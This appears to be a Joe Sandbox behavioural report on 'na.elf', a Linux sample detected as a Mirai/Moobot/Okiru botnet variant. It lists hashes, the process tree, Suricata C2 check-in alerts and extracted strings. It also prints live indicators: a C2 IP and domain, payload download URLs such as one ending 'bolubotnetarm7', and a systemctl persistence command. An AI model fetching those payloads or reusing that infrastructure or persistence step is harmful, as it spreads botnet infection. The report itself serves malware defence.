Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1528128
MD5:	a90e60adfd6dcbfa16615dde5f96c3d4
SHA1:	2f6619597f57c3f51885382742378f48c715411e
SHA256:	0d02114b75777f43679564ba57a32e1e1fbe5c4ca4d759bd20f68657b08318fc
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Moobot, Okiru

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Detected Mirai

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Yara detected Moobot

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528128
Start date and time:	2024-10-07 16:22:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/3@31/0

Runtime Messages

Command:	/tmp/na.elf
PID:	6269
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	bolu_botnet_done.
Standard Error:

Process Tree

system is lnxubuntu20

na.elf (PID: 6269, Parent: 6181, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/na.elf

na.elf New Fork (PID: 6271, Parent: 6269)

na.elf New Fork (PID: 6273, Parent: 6269)

sh (PID: 6273, Parent: 6269, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "systemctl enable sbolo.service > /dev/null 2>&1"

sh New Fork (PID: 6275, Parent: 6273)

systemctl (PID: 6275, Parent: 6273, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable sbolo.service

na.elf New Fork (PID: 6289, Parent: 6269)

systemd New Fork (PID: 6277, Parent: 6276)

snapd-env-generator (PID: 6277, Parent: 6276, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author
na.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
na.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
na.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: na.elf PID: 6269	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: na.elf PID: 6269	JoeSecurity_Moobot	Yara detected Moobot	Joe Security

Suricata Signatures

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T16:23:06.006561+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56560	91.200.103.117	23561	TCP
2024-10-07T16:23:15.603354+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56562	91.200.103.117	23561	TCP
2024-10-07T16:23:26.246511+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56564	91.200.103.117	23561	TCP
2024-10-07T16:23:28.899113+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56566	91.200.103.117	23561	TCP
2024-10-07T16:23:33.615423+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56568	91.200.103.117	23561	TCP
2024-10-07T16:23:44.353616+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56570	91.200.103.117	23561	TCP
2024-10-07T16:23:52.077181+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56572	91.200.103.117	23561	TCP
2024-10-07T16:24:00.708676+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56574	91.200.103.117	23561	TCP
2024-10-07T16:24:03.353037+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56576	91.200.103.117	23561	TCP
2024-10-07T16:24:08.992696+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56578	91.200.103.117	23561	TCP
2024-10-07T16:24:19.616536+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56580	91.200.103.117	23561	TCP
2024-10-07T16:24:25.754809+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56582	91.200.103.117	23561	TCP
2024-10-07T16:24:28.387054+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56584	91.200.103.117	23561	TCP
2024-10-07T16:24:39.028066+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56586	91.200.103.117	23561	TCP
2024-10-07T16:24:50.688280+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56588	91.200.103.117	23561	TCP
2024-10-07T16:24:58.320979+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56590	91.200.103.117	23561	TCP
2024-10-07T16:25:09.009078+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56592	91.200.103.117	23561	TCP
2024-10-07T16:25:14.679682+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56594	91.200.103.117	23561	TCP
2024-10-07T16:25:17.306127+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56596	91.200.103.117	23561	TCP
2024-10-07T16:25:21.964504+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56598	91.200.103.117	23561	TCP
2024-10-07T16:25:32.586940+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56600	91.200.103.117	23561	TCP
2024-10-07T16:25:38.215037+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56602	91.200.103.117	23561	TCP
2024-10-07T16:25:44.071976+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56604	91.200.103.117	23561	TCP
2024-10-07T16:25:51.092735+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56606	91.200.103.117	23561	TCP
2024-10-07T16:25:53.596712+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56608	91.200.103.117	23561	TCP
2024-10-07T16:25:56.333906+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56610	91.200.103.117	23561	TCP
2024-10-07T16:26:01.070195+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56612	91.200.103.117	23561	TCP
2024-10-07T16:26:04.700190+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56614	91.200.103.117	23561	TCP
2024-10-07T16:26:12.530708+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56616	91.200.103.117	23561	TCP
2024-10-07T16:26:24.677863+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56618	91.200.103.117	23561	TCP
2024-10-07T16:26:33.331143+0200	2030490	1	Malware Command and Control Activity Detected	192.168.2.23	56620	91.200.103.117	23561	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 66%

Source: na.elf

String: HTTP/1.1 200 OKbolubotnetarmbolubotnetarm5bolubotnetarm6bolubotnetarm7bolubotnetmipsbolubotnetmpslbolubotnetx86_64bolubotnetsh4abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinenetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/apache2srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spoolsshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/.x86.x86_64.arm.arm5.arm6.arm7.mips.mipsel.sh4.ppcx86x86_64armarm5arm6arm7mipsmipselsh4ppcx86.x86_64.arm.arm5.arm6.arm7.mips.mipsel.sh4.ppc.8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56566 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56560 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56578 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56580 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56592 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56562 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56572 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56596 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56590 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56606 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56604 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56618 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56586 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56608 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56614 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56582 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56620 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56570 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56588 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56584 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56594 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56568 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56616 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56576 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56612 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56600 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56564 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56574 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56602 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56610 -> 91.200.103.117:23561
Source: Network traffic	Suricata IDS: 2030490 - Severity 1 - ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) : 192.168.2.23:56598 -> 91.200.103.117:23561

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 91.200.103.117 ports 1,2,3,5,6,23561

Source: global traffic

TCP traffic: 192.168.2.23:56560 -> 91.200.103.117:23561

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: global traffic

DNS traffic detected: DNS query: yi0key.heleh.com.vn

Source: na.elf	String found in binary or memory: http://91.200.103.117/%s
Source: na.elf, 6269.1.00007f2a3c037000.00007f2a3c040000.rw-.sdmp, sbolo.service.12.dr	String found in binary or memory: http://91.200.103.117/bolubotnetarm7

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: na.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolubotnetarmbolubotnetarm5bolubotnetarm6bolubotnetarm7bolubotnetmipsbolubotnetmpslbolubotnetx86_64bolubotnetsh4abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinenetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/apache2srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spoolsshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/.x86.x86_64.arm.arm5.arm6.arm7.mips.mipsel.sh4.ppcx86x86_64armarm5arm6arm7mipsmipselsh4ppcx86.x86_64.arm.arm5.arm6.arm7.mips.mipsel.sh4.ppc.8

Source: classification engine

Classification label: mal92.troj.linELF@0/3@31/0

Source: /tmp/na.elf (PID: 6273)

Shell command executed: /bin/sh -c "systemctl enable sbolo.service > /dev/null 2>&1"

Jump to behavior

Source: /bin/sh (PID: 6275)

Systemctl executable: /usr/bin/systemctl -> systemctl enable sbolo.service

Jump to behavior

Source: /tmp/na.elf (PID: 6269)

Queries kernel information via 'uname':

Jump to behavior

Source: na.elf, 6269.1.00007ffd404ce000.00007ffd404ef000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 6269.1.0000559cad73f000.0000559cad892000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: na.elf, 6269.1.0000559cad73f000.0000559cad892000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: na.elf, 6269.1.00007ffd404ce000.00007ffd404ef000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: na.elf, type: SAMPLE

Yara detected Moobot

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 6269, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 6269, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Suricata IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Mirai

Source: Yara match

File source: na.elf, type: SAMPLE

Yara detected Moobot

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 6269, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f2a3c017000.00007f2a3c02f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 6269, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
na.elf	67%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
yi0key.heleh.com.vn	91.200.103.117	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.200.103.117/%s	na.elf	false		unknown
http://91.200.103.117/bolubotnetarm7	na.elf, 6269.1.00007f2a3c037000.00007f2a3c040000.rw-.sdmp, sbolo.service.12.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.200.103.117	yi0key.heleh.com.vn	Germany	30823	COMBAHTONcombahtonGmbHDE	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.200.103.117	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	WgRaU3h4k8.elf	Get hash	malicious	Gafgyt	Browse
	RdcuY1pZig.elf	Get hash	malicious	Gafgyt	Browse
	QJ1MJ1roKY.elf	Get hash	malicious	Mirai	Browse
	CoNziwSE6M.elf	Get hash	malicious	Mirai	Browse
	dQ10NiRRby.elf	Get hash	malicious	Mirai	Browse
	LsR22LZMVs.elf	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
